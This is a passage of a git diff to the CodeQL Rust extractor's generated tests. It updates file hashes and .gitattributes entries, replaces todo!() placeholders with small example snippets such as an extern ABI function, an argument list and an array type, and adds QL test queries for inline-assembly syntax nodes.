815605a604fea1d9276684f8d6738a4e833eacad57ceeb27e2095fc450264fc1 815605a604fea1d9276684f8d6738a4e833eacad57ceeb27e2095fc450264fc1 -Name/gen_name.rs bbf5cff7da2400de554712ed66ff1e6370170ba988209b4e346bc053421df1ff bbf5cff7da2400de554712ed66ff1e6370170ba988209b4e346bc053421df1ff -NameRef/gen_name_ref.rs 41307c2f7ca82d28217129639e556bd4c91221cf3a4170250b313fd53b9e3f82 41307c2f7ca82d28217129639e556bd4c91221cf3a4170250b313fd53b9e3f82 -NeverTypeRepr/gen_never_type_repr.rs b9bf7cc4df2e5be4e85c0701b94ec189080db1dbc6e2c9ef0480c7f2f4b0fc17 b9bf7cc4df2e5be4e85c0701b94ec189080db1dbc6e2c9ef0480c7f2f4b0fc17 +Name/gen_name.rs 8a7fe65ee632a47d12eaa313e7248ac9210e5a381e9522499ca68f94c39e72c0 8a7fe65ee632a47d12eaa313e7248ac9210e5a381e9522499ca68f94c39e72c0 +NameRef/gen_name_ref.rs 74e7c112df2a764367792f51830561ee2f16777dd98098a5664869361f98c698 74e7c112df2a764367792f51830561ee2f16777dd98098a5664869361f98c698 +NeverTypeRepr/gen_never_type_repr.rs cc7d1c861eaf89772109f142815839976f25f89956ed1b11822df5e7e333d6d4 cc7d1c861eaf89772109f142815839976f25f89956ed1b11822df5e7e333d6d4 OffsetOfExpr/gen_offset_of_expr.rs 8e2077b4d7b85c91c17c3630511bc4f929950e9007261cbf0471c4a064c4b934 8e2077b4d7b85c91c17c3630511bc4f929950e9007261cbf0471c4a064c4b934 OrPat/gen_or_pat.rs 71feef6e056bfe4cc8c22c9eb54fa3fecef613606769061d0efd059adbbd6f56 71feef6e056bfe4cc8c22c9eb54fa3fecef613606769061d0efd059adbbd6f56 Param/gen_param.rs 39f3979d6cb10e4c43e0b5601af2a92b7520a75a104211955bbbb5e6f13e9db9 39f3979d6cb10e4c43e0b5601af2a92b7520a75a104211955bbbb5e6f13e9db9 -ParamList/gen_param_list.rs ef2e83d0aed45b969fe78dd717e87ef3c1f848e6179cfb4dc3cb136f1836b998 ef2e83d0aed45b969fe78dd717e87ef3c1f848e6179cfb4dc3cb136f1836b998 -ParenExpr/gen_paren_expr.rs dd0c4a21a92e54e8a6151145e013cbec9c9e1cad093d572e293b4f51d6c44aea dd0c4a21a92e54e8a6151145e013cbec9c9e1cad093d572e293b4f51d6c44aea -ParenPat/gen_paren_pat.rs c8d18521b9a0b7d39841eb72e3895914aa652b7235dea42ed12a4eb280e3bf0e c8d18521b9a0b7d39841eb72e3895914aa652b7235dea42ed12a4eb280e3bf0e -ParenTypeRepr/gen_paren_type_repr.rs 360a9415390ab572cb10015603537823cc0451bb94ef487d04bbfd7d523bee95 360a9415390ab572cb10015603537823cc0451bb94ef487d04bbfd7d523bee95 +ParamList/gen_param_list.rs a842001c434b9716a131a77b5ec78ee5dd911ef7c42d22bf5e7bdac24c9a20bd a842001c434b9716a131a77b5ec78ee5dd911ef7c42d22bf5e7bdac24c9a20bd +ParenExpr/gen_paren_expr.rs 58f59d66e833f1baeb0a61b4e8b5dc97680daad78bd0e90627f6dbb1ed0c62e0 58f59d66e833f1baeb0a61b4e8b5dc97680daad78bd0e90627f6dbb1ed0c62e0 +ParenPat/gen_paren_pat.rs 47a0c5b6ec3e51452c2c2e6882ed98aca9891b08246ec231484df8d226985212 47a0c5b6ec3e51452c2c2e6882ed98aca9891b08246ec231484df8d226985212 +ParenTypeRepr/gen_paren_type_repr.rs 28194256a3d7bdcc49283f4be5e3ad3efb0ea2996126abed2a76c6cd9954c879 28194256a3d7bdcc49283f4be5e3ad3efb0ea2996126abed2a76c6cd9954c879 +ParenthesizedArgList/gen_parenthesized_arg_list.rs 161083eb292e1d70ca97b5afda8e27bc96db95678b39cb680de638ac0e49be72 161083eb292e1d70ca97b5afda8e27bc96db95678b39cb680de638ac0e49be72 Path/gen_path.rs 490268d6bfb1635883b8bdefc683d59c4dd0e9c7f86c2e55954661efb3ab0253 490268d6bfb1635883b8bdefc683d59c4dd0e9c7f86c2e55954661efb3ab0253 Path/gen_path_expr.rs dcc9cc16cafff0e2225c1853a91612d3f666016c53fcb4ab5716ed31a33a41cd dcc9cc16cafff0e2225c1853a91612d3f666016c53fcb4ab5716ed31a33a41cd Path/gen_path_pat.rs fd7f941f8b33f19d3693be1fdb595c2fb2e85e8296702b82bf12bcd44632f371 fd7f941f8b33f19d3693be1fdb595c2fb2e85e8296702b82bf12bcd44632f371 -Path/gen_path_type_repr.rs 0cff40a38cf0201b70230ac3f1863728c0fa5f7099651fc437ae02824d12655b 0cff40a38cf0201b70230ac3f1863728c0fa5f7099651fc437ae02824d12655b +Path/gen_path_type_repr.rs f910b75dd478a2ff2a7574bfd11e446dcb065a3d9878dea0c145d5c26ad47617 f910b75dd478a2ff2a7574bfd11e446dcb065a3d9878dea0c145d5c26ad47617 PrefixExpr/gen_prefix_expr.rs c4b53e87f370713b9a9e257be26d082b0761497bac19b1d7401a31b22b30d1ab c4b53e87f370713b9a9e257be26d082b0761497bac19b1d7401a31b22b30d1ab -PtrTypeRepr/gen_ptr_type_repr.rs 290d64a8ab4e8946b2e37496e7d2837529135e99b61cfb16a98c00f4d6ff8679 290d64a8ab4e8946b2e37496e7d2837529135e99b61cfb16a98c00f4d6ff8679 +PtrTypeRepr/gen_ptr_type_repr.rs b833d2a02add897c53ad5f0d436e1f5fa8919809592e1ded56b0c1c99b8344bd b833d2a02add897c53ad5f0d436e1f5fa8919809592e1ded56b0c1c99b8344bd RangeExpr/gen_range_expr.rs 3f27cff9cc76b2703beff622d1453b84121e1970a869e45f9428deac92c4ecb0 3f27cff9cc76b2703beff622d1453b84121e1970a869e45f9428deac92c4ecb0 RangePat/gen_range_pat.rs 18b5169c3ab9230c95d86c4897f8343b2176d9602c9ea371c70c1eb0dbf89a28 18b5169c3ab9230c95d86c4897f8343b2176d9602c9ea371c70c1eb0dbf89a28 RefExpr/gen_ref_expr.rs 82695467551def4a00c78aa1ea6a1460e9edbef7df2672f13daccb0ee5d6b4c6 82695467551def4a00c78aa1ea6a1460e9edbef7df2672f13daccb0ee5d6b4c6 RefPat/gen_ref_pat.rs aba7518649d9a37928e59a40d42f76cc0f4735e8daf711a3def6d2f0520e1f54 aba7518649d9a37928e59a40d42f76cc0f4735e8daf711a3def6d2f0520e1f54 -RefTypeRepr/gen_ref_type_repr.rs 39a79cf148b7ee30e23a12c9349854dbe83aee1790153a388c43ff749907f8ea 39a79cf148b7ee30e23a12c9349854dbe83aee1790153a388c43ff749907f8ea -Rename/gen_rename.rs 553c16f243d1ae3b6b28510d39436c83425944e5085171c18e0a2aa40deb74fc 553c16f243d1ae3b6b28510d39436c83425944e5085171c18e0a2aa40deb74fc -RestPat/gen_rest_pat.rs e762bf7537225f97da751c5dca6a2cd3836ad7579b68c748b8c6cba65087acca e762bf7537225f97da751c5dca6a2cd3836ad7579b68c748b8c6cba65087acca -RetTypeRepr/gen_ret_type_repr.rs 25edbd60ad63ab4266f6426ef50f1dd17e24132f5a24404d240a3f07daef6a31 25edbd60ad63ab4266f6426ef50f1dd17e24132f5a24404d240a3f07daef6a31 +RefTypeRepr/gen_ref_type_repr.rs cf7b32d64550cd0b5033869b841089c1de292a1b25d3bd44c63ef9a265b9c8fb cf7b32d64550cd0b5033869b841089c1de292a1b25d3bd44c63ef9a265b9c8fb +Rename/gen_rename.rs 05957dd5c7a0971223a485207ef3e98b0408a3e765cfb1fd6237bcc21c89f21a 05957dd5c7a0971223a485207ef3e98b0408a3e765cfb1fd6237bcc21c89f21a +RestPat/gen_rest_pat.rs e9c977c8d3fce1d931abdfc025444e3e883468927f784ad1791670cace736aa7 e9c977c8d3fce1d931abdfc025444e3e883468927f784ad1791670cace736aa7 +RetTypeRepr/gen_ret_type_repr.rs 9db86003c7a4d91aa13fbc8220559bea6a05221c38c3f3ac0e03c6ac790aebcc 9db86003c7a4d91aa13fbc8220559bea6a05221c38c3f3ac0e03c6ac790aebcc ReturnExpr/gen_return_expr.rs 4f6ef29d7b3c60d6d71d1a6034a0721671f517428ba21897361a92b01009d38f 4f6ef29d7b3c60d6d71d1a6034a0721671f517428ba21897361a92b01009d38f -ReturnTypeSyntax/gen_return_type_syntax.rs 0b11a4cc400f9a2001996f99d61391bdb636e8aea036f587cf18ad6a957fe496 0b11a4cc400f9a2001996f99d61391bdb636e8aea036f587cf18ad6a957fe496 +ReturnTypeSyntax/gen_return_type_syntax.rs 648ce343023e7f80c445fada390870c5498add7fdf63dc82a800f6a77b7e7026 648ce343023e7f80c445fada390870c5498add7fdf63dc82a800f6a77b7e7026 SelfParam/gen_self_param.rs 15491f86a32020c9ed3ecadc08c945ed01916b63683f95d2f5c1bedb4f3f01f2 15491f86a32020c9ed3ecadc08c945ed01916b63683f95d2f5c1bedb4f3f01f2 SlicePat/gen_slice_pat.rs df4a6692f5100aa11dd777561400ce71e37b85f2363b0638c21975a1771b15d5 df4a6692f5100aa11dd777561400ce71e37b85f2363b0638c21975a1771b15d5 -SliceTypeRepr/gen_slice_type_repr.rs e50c142b7cf7bc3040ad64f351488557323d0b2fd5d004b41ed0fa8e522b5648 e50c142b7cf7bc3040ad64f351488557323d0b2fd5d004b41ed0fa8e522b5648 -SourceFile/gen_source_file.rs a7a1d4fa77b53adb6fbc031bf7ab49cf7c8787728ba0a687c348b5eefbb5b9df a7a1d4fa77b53adb6fbc031bf7ab49cf7c8787728ba0a687c348b5eefbb5b9df -Static/gen_static.rs ff01782c2f0f702373fc6df45ac9277fbdd8d4fad69dbe5f984a14790a46e7b9 ff01782c2f0f702373fc6df45ac9277fbdd8d4fad69dbe5f984a14790a46e7b9 -StmtList/gen_stmt_list.rs bb3791a613b91a2086c19cb0eddbf978bb37bbb2bd79d3e61b40be35c71daaad bb3791a613b91a2086c19cb0eddbf978bb37bbb2bd79d3e61b40be35c71daaad -Struct/gen_struct.rs 09c5c164d7c8a3991fad1a118d66c12c24d2ebf30fbea6205f7690ca9f24dbb2 09c5c164d7c8a3991fad1a118d66c12c24d2ebf30fbea6205f7690ca9f24dbb2 +SliceTypeRepr/gen_slice_type_repr.rs 4a85402d40028c5a40ef35018453a89700b2171bc62fd86587378484831b969f 4a85402d40028c5a40ef35018453a89700b2171bc62fd86587378484831b969f +SourceFile/gen_source_file.rs c0469cc8f0ecce3dd2e77963216d7e8808046014533359a44c1698e48783b420 c0469cc8f0ecce3dd2e77963216d7e8808046014533359a44c1698e48783b420 +Static/gen_static.rs 21314018ea184c1ddcb594d67bab97ae18ceaf663d9f120f39ff755d389dde7a 21314018ea184c1ddcb594d67bab97ae18ceaf663d9f120f39ff755d389dde7a +StmtList/gen_stmt_list.rs adbd82045a50e2051434ce3cdd524c9f2c6ad9f3dd02b4766fb107e2e99212db adbd82045a50e2051434ce3cdd524c9f2c6ad9f3dd02b4766fb107e2e99212db +Struct/gen_struct.rs 8de3861997dfdd525b93bf8f8a857ed3e6b4d014a35d8a9298a236f2ff476a34 8de3861997dfdd525b93bf8f8a857ed3e6b4d014a35d8a9298a236f2ff476a34 StructExpr/gen_struct_expr.rs 8dd9a578625a88623c725b8afdfd8b636e1c3c991fe96c55b24d4b283d2212fb 8dd9a578625a88623c725b8afdfd8b636e1c3c991fe96c55b24d4b283d2212fb StructExprField/gen_struct_expr_field.rs 4ccca8e8ad462b4873f5604f0afdd1836027b8d39e36fbe7d6624ef3e744a084 4ccca8e8ad462b4873f5604f0afdd1836027b8d39e36fbe7d6624ef3e744a084 -StructExprFieldList/gen_struct_expr_field_list.rs 30a48484dbeca1fd8ead4b7b80f97bd583259e35dce2b590329c86a2d0e152de 30a48484dbeca1fd8ead4b7b80f97bd583259e35dce2b590329c86a2d0e152de -StructField/gen_struct_field.rs 024d30845e244dd535dfb6c30f16de0eec5acd3a257110eeffd260ec82f9edb2 024d30845e244dd535dfb6c30f16de0eec5acd3a257110eeffd260ec82f9edb2 -StructFieldList/gen_struct_field_list.rs 9ee6167b3b2edd2ad49f8fe02d6ef67fb1dacf6807014a6a16597d2f40d3bbae 9ee6167b3b2edd2ad49f8fe02d6ef67fb1dacf6807014a6a16597d2f40d3bbae +StructExprFieldList/gen_struct_expr_field_list.rs bc17e356690cfb1cd51f7dbe5ac88c0b9188c9bf94b9e3cc82581120190f33dc bc17e356690cfb1cd51f7dbe5ac88c0b9188c9bf94b9e3cc82581120190f33dc +StructField/gen_struct_field.rs 0884e458732ab74b4c7debee4fbef014f847815be5a6ddeba467844d33607c6e 0884e458732ab74b4c7debee4fbef014f847815be5a6ddeba467844d33607c6e +StructFieldList/gen_struct_field_list.rs 3c24edef6a92a1b7bb785012d1e53eb69197fb6ba3d4dfdcd43f901acdb7f51a 3c24edef6a92a1b7bb785012d1e53eb69197fb6ba3d4dfdcd43f901acdb7f51a StructPat/gen_struct_pat.rs 3f972ff8a76acb61ef48bdea92d2fac8b1005449d746e6188fd5486b1f542e5c 3f972ff8a76acb61ef48bdea92d2fac8b1005449d746e6188fd5486b1f542e5c StructPatField/gen_struct_pat_field.rs dfdab8cef7dcfee40451744c8d2c7c4ae67fdb8bd054b894c08d62997942f364 dfdab8cef7dcfee40451744c8d2c7c4ae67fdb8bd054b894c08d62997942f364 -StructPatFieldList/gen_struct_pat_field_list.rs 92490d79c975d25fd0d2e4a830a80abd896c5eb3b30fc54a3b386603ff09d693 92490d79c975d25fd0d2e4a830a80abd896c5eb3b30fc54a3b386603ff09d693 -TokenTree/gen_token_tree.rs dde6595ee4e8f3fcdecfb054438b08e1a7db10d83d9fff121794df814c7aee0e dde6595ee4e8f3fcdecfb054438b08e1a7db10d83d9fff121794df814c7aee0e +StructPatFieldList/gen_struct_pat_field_list.rs 06c0e56c78a6b28909d94d9519ba41ac8a6005741f82b947ef14db51e8cbebd0 06c0e56c78a6b28909d94d9519ba41ac8a6005741f82b947ef14db51e8cbebd0 +TokenTree/gen_token_tree.rs 694d5ea71e00792374f771c74532abd66f0af637f87fe3203630aa7ef866a96f 694d5ea71e00792374f771c74532abd66f0af637f87fe3203630aa7ef866a96f Trait/gen_trait.rs bac694993e224f9c6dd86cfb28c54846ae1b3bae45a1e58d3149c884184487ea bac694993e224f9c6dd86cfb28c54846ae1b3bae45a1e58d3149c884184487ea -TraitAlias/gen_trait_alias.rs c0c2d370674a20173db33e118e011328a880ba8ab42788ca735bb3d80b4b64a8 c0c2d370674a20173db33e118e011328a880ba8ab42788ca735bb3d80b4b64a8 -TryExpr/gen_try_expr.rs 2c7d8a5f3d65a084b645b5e4659fbbd3fbe65994fed1e6474ebd83df06f8d725 2c7d8a5f3d65a084b645b5e4659fbbd3fbe65994fed1e6474ebd83df06f8d725 +TraitAlias/gen_trait_alias.rs 425d78a7cb87db7737ceaf713c9a62e0411537374d1bc58c5b1fb80cc25732c9 425d78a7cb87db7737ceaf713c9a62e0411537374d1bc58c5b1fb80cc25732c9 +TryExpr/gen_try_expr.rs f60198181a423661f4ed1bf6f98d475f40ada190b7b5fc6af97aa5e45ca29a1e f60198181a423661f4ed1bf6f98d475f40ada190b7b5fc6af97aa5e45ca29a1e TupleExpr/gen_tuple_expr.rs 8ecd1b6ecc58a0319eed434a423cc6f41bdf1901b1950e6e79735d7f7b2f8374 8ecd1b6ecc58a0319eed434a423cc6f41bdf1901b1950e6e79735d7f7b2f8374 -TupleField/gen_tuple_field.rs 8a77f7f1c2e4ac4374a147c27db7789e80496b5a405fd9cc3341f764a2136c38 8a77f7f1c2e4ac4374a147c27db7789e80496b5a405fd9cc3341f764a2136c38 -TupleFieldList/gen_tuple_field_list.rs d2a5151b413be3edbf093c4f47a8d57945e794d399378971940f6a5c65d4c223 d2a5151b413be3edbf093c4f47a8d57945e794d399378971940f6a5c65d4c223 +TupleField/gen_tuple_field.rs 5d6b4f356af895541f975cc1fd90116fd047fe914c2049d47f61e4a43a8c2af4 5d6b4f356af895541f975cc1fd90116fd047fe914c2049d47f61e4a43a8c2af4 +TupleFieldList/gen_tuple_field_list.rs 42f0af8c391fb9e33fe09b791e0e719cadf5143b58764f8a5d38f8d9054daca7 42f0af8c391fb9e33fe09b791e0e719cadf5143b58764f8a5d38f8d9054daca7 TuplePat/gen_tuple_pat.rs b1b0c9c5ff1b787f380644691c77807655a4f6441fc7431c90ecf78c54c26148 b1b0c9c5ff1b787f380644691c77807655a4f6441fc7431c90ecf78c54c26148 TupleStructPat/gen_tuple_struct_pat.rs 601ca8813272d15b4c8fd7402d0d28a42a62be82865eb5e86b985ad31464ca98 601ca8813272d15b4c8fd7402d0d28a42a62be82865eb5e86b985ad31464ca98 -TupleTypeRepr/gen_tuple_type_repr.rs 4ce074df3739c7614eae850d54d28f0ee4869d64ccc5736c5b73bed7800a0470 4ce074df3739c7614eae850d54d28f0ee4869d64ccc5736c5b73bed7800a0470 +TupleTypeRepr/gen_tuple_type_repr.rs 64873a6a1cd5df6cd10165d7e9fa0399902b6bfbac086ef3a7ce83237b816879 64873a6a1cd5df6cd10165d7e9fa0399902b6bfbac086ef3a7ce83237b816879 TypeAlias/gen_type_alias.rs da2b959f1a2a4f5471c231025404ca82a1bc79ac68adcda5a67292c428ad6143 da2b959f1a2a4f5471c231025404ca82a1bc79ac68adcda5a67292c428ad6143 -TypeArg/gen_type_arg.rs 11e024708429bb683adc848d0be168cd9d190793833880e6ec74139df296e818 11e024708429bb683adc848d0be168cd9d190793833880e6ec74139df296e818 -TypeBound/gen_type_bound.rs 4198346113b075812f79858ccbd467339d6b8039a449bd58c4710dd0aba1c9c1 4198346113b075812f79858ccbd467339d6b8039a449bd58c4710dd0aba1c9c1 -TypeBoundList/gen_type_bound_list.rs bf70e31e5908e0eea6cdb4354ae78fc6ee1077b193409e741cac9b5d93d5deb2 bf70e31e5908e0eea6cdb4354ae78fc6ee1077b193409e741cac9b5d93d5deb2 -TypeParam/gen_type_param.rs 31c02d18020b305f1c37fdeb97656dd5b1e49e6b9a072329c2f099c55a06e3b7 31c02d18020b305f1c37fdeb97656dd5b1e49e6b9a072329c2f099c55a06e3b7 +TypeArg/gen_type_arg.rs a0e455d7173b51330db63f1b7ac9c5d4263d33b3a115f97a8167d4dcc42469ff a0e455d7173b51330db63f1b7ac9c5d4263d33b3a115f97a8167d4dcc42469ff +TypeBound/gen_type_bound.rs 7487ae3fd7c3a481efe96ce7894fc974b96276ecd78e0ccb141c698b5c6f5eaa 7487ae3fd7c3a481efe96ce7894fc974b96276ecd78e0ccb141c698b5c6f5eaa +TypeBoundList/gen_type_bound_list.rs f61e80667385f6e8f51452a401d355b8939dbb1e1a7d3a506023639cb387bfbd f61e80667385f6e8f51452a401d355b8939dbb1e1a7d3a506023639cb387bfbd +TypeParam/gen_type_param.rs 00b92ac7042ae83be1e37cd22f6d02098ca3157dc1ef45fbdf3b5f252ea6a8de 00b92ac7042ae83be1e37cd22f6d02098ca3157dc1ef45fbdf3b5f252ea6a8de UnderscoreExpr/gen_underscore_expr.rs fe34e99d322bf86c0f5509c9b5fd6e1e8abbdf63dbe7e01687344a41e9aabe52 fe34e99d322bf86c0f5509c9b5fd6e1e8abbdf63dbe7e01687344a41e9aabe52 -Union/gen_union.rs d5e814688e93dcb105f29a392159c1b995ee15a74720167219f9431db8ef70a3 d5e814688e93dcb105f29a392159c1b995ee15a74720167219f9431db8ef70a3 -Use/gen_use.rs 2a0ea9fa34d844fda63e8f605f6a951e8b272d63ebfb0ae501fc734559a83a6b 2a0ea9fa34d844fda63e8f605f6a951e8b272d63ebfb0ae501fc734559a83a6b -UseTree/gen_use_tree.rs bf7525e8641a5a90a7e07214e7480b6507737cf60f9bd4d8b82bc71a8b9d7e8d bf7525e8641a5a90a7e07214e7480b6507737cf60f9bd4d8b82bc71a8b9d7e8d -UseTreeList/gen_use_tree_list.rs ba450699782e51b1d3139148709827e35f2e57235849fb26a073e2786dfc53e3 ba450699782e51b1d3139148709827e35f2e57235849fb26a073e2786dfc53e3 -Variant/gen_variant.rs 036566793ee468418f915974e2925d8bafaec3c93c2463212f222e6a5f290f24 036566793ee468418f915974e2925d8bafaec3c93c2463212f222e6a5f290f24 -VariantList/gen_variant_list.rs 932b67564c5ef4116d84db6945e098f6d7438755d99fc198fde8f4527979bf00 932b67564c5ef4116d84db6945e098f6d7438755d99fc198fde8f4527979bf00 -Visibility/gen_visibility.rs 6f5ca31d3593643eb0ff2be9b191619d3d8c3a4aa0093293ae2bdc299421ce60 6f5ca31d3593643eb0ff2be9b191619d3d8c3a4aa0093293ae2bdc299421ce60 -WhereClause/gen_where_clause.rs bdfb67817b24df5d33080825320f07574e57f1a950a4505a79c2cbd6967fb882 bdfb67817b24df5d33080825320f07574e57f1a950a4505a79c2cbd6967fb882 -WherePred/gen_where_pred.rs d127641a319766500581898c09b7d00be34c686670cb860022dc0f7f52f50137 d127641a319766500581898c09b7d00be34c686670cb860022dc0f7f52f50137 -WhileExpr/gen_while_expr.rs 81c9082bcba72c6a89d6f4cbdb456ccc521be64fd554755924dbd3bbe6dcdf6d 81c9082bcba72c6a89d6f4cbdb456ccc521be64fd554755924dbd3bbe6dcdf6d +Union/gen_union.rs 0adc276bf324661137b4de7c4522afd5f7b2776e913c4a6ecc580ce3d753a51d 0adc276bf324661137b4de7c4522afd5f7b2776e913c4a6ecc580ce3d753a51d +Use/gen_use.rs 3a8a426109080ce2a0ed5a68a83cfa195196c9f0a14eff328b7be54d1131eede 3a8a426109080ce2a0ed5a68a83cfa195196c9f0a14eff328b7be54d1131eede +UseBoundGenericArgs/gen_use_bound_generic_args.rs 1da801583b77f5f064d729a1d4313a863f1ad2e1dcc11c963194839cba977367 1da801583b77f5f064d729a1d4313a863f1ad2e1dcc11c963194839cba977367 +UseTree/gen_use_tree.rs cccf4c2c9045548ffd9f58e93b46aa434c0ca0671641863e7558047097db5dee cccf4c2c9045548ffd9f58e93b46aa434c0ca0671641863e7558047097db5dee +UseTreeList/gen_use_tree_list.rs 6fc13cab53bb77475005499da717c7cd55648ba4c4d7d32c422624760ca6afc3 6fc13cab53bb77475005499da717c7cd55648ba4c4d7d32c422624760ca6afc3 +Variant/gen_variant.rs fa3d3a9e3e0c3aa565b965fad9c3dc2ffd5a8d82963e3a55a9acbb0f14b603d6 fa3d3a9e3e0c3aa565b965fad9c3dc2ffd5a8d82963e3a55a9acbb0f14b603d6 +VariantList/gen_variant_list.rs a1faa4d59b072f139d14cb8a6d63a0ce8c473170d6320a07ce6bb9d517f8486d a1faa4d59b072f139d14cb8a6d63a0ce8c473170d6320a07ce6bb9d517f8486d +Visibility/gen_visibility.rs 696f86b56e28a17ffb373170e192a76c288b0750dfa6e64fac0d8b4a77b0468c 696f86b56e28a17ffb373170e192a76c288b0750dfa6e64fac0d8b4a77b0468c +WhereClause/gen_where_clause.rs 22522c933be47f8f7f9d0caddfa41925c08df343c564baad2fe2daa14f1bfb1a 22522c933be47f8f7f9d0caddfa41925c08df343c564baad2fe2daa14f1bfb1a +WherePred/gen_where_pred.rs dbc7bf0f246a04b42783f910c6f09841393f0e0a78f0a584891a99d0cf461619 dbc7bf0f246a04b42783f910c6f09841393f0e0a78f0a584891a99d0cf461619 +WhileExpr/gen_while_expr.rs 97276c5946a36001638491c99a36170d22bc6011c5e59f621b37c7a2d7737879 97276c5946a36001638491c99a36170d22bc6011c5e59f621b37c7a2d7737879 WildcardPat/gen_wildcard_pat.rs f1b175eeb3a0fc32bbcfb70a207be33dfde51a7d5198f72b8e08948f0d43e3dc f1b175eeb3a0fc32bbcfb70a207be33dfde51a7d5198f72b8e08948f0d43e3dc YeetExpr/gen_yeet_expr.rs c243b785a2cbd941bcec23dafc23ffbc64b93cf2843b6ede9783cdb81fed439d c243b785a2cbd941bcec23dafc23ffbc64b93cf2843b6ede9783cdb81fed439d YieldExpr/gen_yield_expr.rs 20f607719ff90bbcd831fe48a530400d0774394867ae65618cd1671d638f853e 20f607719ff90bbcd831fe48a530400d0774394867ae65618cd1671d638f853e diff --git a/rust/ql/test/extractor-tests/generated/.gitattributes b/rust/ql/test/extractor-tests/generated/.gitattributes index 9452518fe36c..dd1c891195ed 100644 --- a/rust/ql/test/extractor-tests/generated/.gitattributes +++ b/rust/ql/test/extractor-tests/generated/.gitattributes @@ -5,7 +5,18 @@ /ArrayListExpr/gen_array_list_expr.rs linguist-generated /ArrayRepeatExpr/gen_array_repeat_expr.rs linguist-generated /ArrayTypeRepr/gen_array_type_repr.rs linguist-generated +/AsmClobberAbi/gen_asm_clobber_abi.rs linguist-generated +/AsmConst/gen_asm_const.rs linguist-generated +/AsmDirSpec/gen_asm_dir_spec.rs linguist-generated /AsmExpr/gen_asm_expr.rs linguist-generated +/AsmLabel/gen_asm_label.rs linguist-generated +/AsmOperandExpr/gen_asm_operand_expr.rs linguist-generated +/AsmOperandNamed/gen_asm_operand_named.rs linguist-generated +/AsmOption/gen_asm_option.rs linguist-generated +/AsmOptionsList/gen_asm_options_list.rs linguist-generated +/AsmRegOperand/gen_asm_reg_operand.rs linguist-generated +/AsmRegSpec/gen_asm_reg_spec.rs linguist-generated +/AsmSym/gen_asm_sym.rs linguist-generated /AssocTypeArg/gen_assoc_type_arg.rs linguist-generated /Attr/gen_attr.rs linguist-generated /AwaitExpr/gen_await_expr.rs linguist-generated @@ -83,6 +94,7 @@ /ParenExpr/gen_paren_expr.rs linguist-generated /ParenPat/gen_paren_pat.rs linguist-generated /ParenTypeRepr/gen_paren_type_repr.rs linguist-generated +/ParenthesizedArgList/gen_parenthesized_arg_list.rs linguist-generated /Path/gen_path.rs linguist-generated /Path/gen_path_expr.rs linguist-generated /Path/gen_path_pat.rs linguist-generated @@ -132,6 +144,7 @@ /UnderscoreExpr/gen_underscore_expr.rs linguist-generated /Union/gen_union.rs linguist-generated /Use/gen_use.rs linguist-generated +/UseBoundGenericArgs/gen_use_bound_generic_args.rs linguist-generated /UseTree/gen_use_tree.rs linguist-generated /UseTreeList/gen_use_tree_list.rs linguist-generated /Variant/gen_variant.rs linguist-generated diff --git a/rust/ql/test/extractor-tests/generated/Abi/gen_abi.rs b/rust/ql/test/extractor-tests/generated/Abi/gen_abi.rs index 01c614999d02..6f04b2640f14 100644 --- a/rust/ql/test/extractor-tests/generated/Abi/gen_abi.rs +++ b/rust/ql/test/extractor-tests/generated/Abi/gen_abi.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_abi() -> () { - // A Abi. For example: - todo!() + // An ABI specification for an extern function or block. + // + // For example: + extern "C" fn foo() {} + // ^^^ } diff --git a/rust/ql/test/extractor-tests/generated/ArgList/gen_arg_list.rs b/rust/ql/test/extractor-tests/generated/ArgList/gen_arg_list.rs index 2cfe6d29c0db..25c1ea915cef 100644 --- a/rust/ql/test/extractor-tests/generated/ArgList/gen_arg_list.rs +++ b/rust/ql/test/extractor-tests/generated/ArgList/gen_arg_list.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_arg_list() -> () { - // A ArgList. For example: - todo!() + // A list of arguments in a function or method call. + // + // For example: + foo(1, 2, 3); + // ^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/ArrayTypeRepr/gen_array_type_repr.rs b/rust/ql/test/extractor-tests/generated/ArrayTypeRepr/gen_array_type_repr.rs index 118b02860340..76e7d3def646 100644 --- a/rust/ql/test/extractor-tests/generated/ArrayTypeRepr/gen_array_type_repr.rs +++ b/rust/ql/test/extractor-tests/generated/ArrayTypeRepr/gen_array_type_repr.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_array_type_repr() -> () { - // A ArrayTypeRepr. For example: - todo!() + // An array type representation. + // + // For example: + let arr: [i32; 4]; + // ^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/AsmClobberAbi/AsmClobberAbi.ql b/rust/ql/test/extractor-tests/generated/AsmClobberAbi/AsmClobberAbi.ql new file mode 100644 index 000000000000..087663779dbd --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmClobberAbi/AsmClobberAbi.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmClobberAbi x +where toBeTested(x) and not x.isUnknown() +select x diff --git a/rust/ql/test/extractor-tests/generated/AsmClobberAbi/MISSING_SOURCE.txt b/rust/ql/test/extractor-tests/generated/AsmClobberAbi/MISSING_SOURCE.txt deleted file mode 100644 index 7f96b17b1f3c..000000000000 --- a/rust/ql/test/extractor-tests/generated/AsmClobberAbi/MISSING_SOURCE.txt +++ /dev/null @@ -1,4 +0,0 @@ -// generated by codegen, do not edit - -After a source file is added in this directory and codegen is run again, test queries -will appear and this file will be deleted diff --git a/rust/ql/test/extractor-tests/generated/AsmClobberAbi/gen_asm_clobber_abi.rs b/rust/ql/test/extractor-tests/generated/AsmClobberAbi/gen_asm_clobber_abi.rs new file mode 100644 index 000000000000..2735abdd75ed --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmClobberAbi/gen_asm_clobber_abi.rs @@ -0,0 +1,9 @@ +// generated by codegen, do not edit + +fn test_asm_clobber_abi() -> () { + // A clobbered ABI in an inline assembly block. + // + // For example: + asm!("", clobber_abi("C")); + // ^^^^^^^^^^^^^^^^ +} diff --git a/rust/ql/test/extractor-tests/generated/AsmConst/AsmConst.ql b/rust/ql/test/extractor-tests/generated/AsmConst/AsmConst.ql new file mode 100644 index 000000000000..151d7a70fa21 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmConst/AsmConst.ql @@ -0,0 +1,11 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmConst x, string hasExpr, string isConst +where + toBeTested(x) and + not x.isUnknown() and + (if x.hasExpr() then hasExpr = "yes" else hasExpr = "no") and + if x.isConst() then isConst = "yes" else isConst = "no" +select x, "hasExpr:", hasExpr, "isConst:", 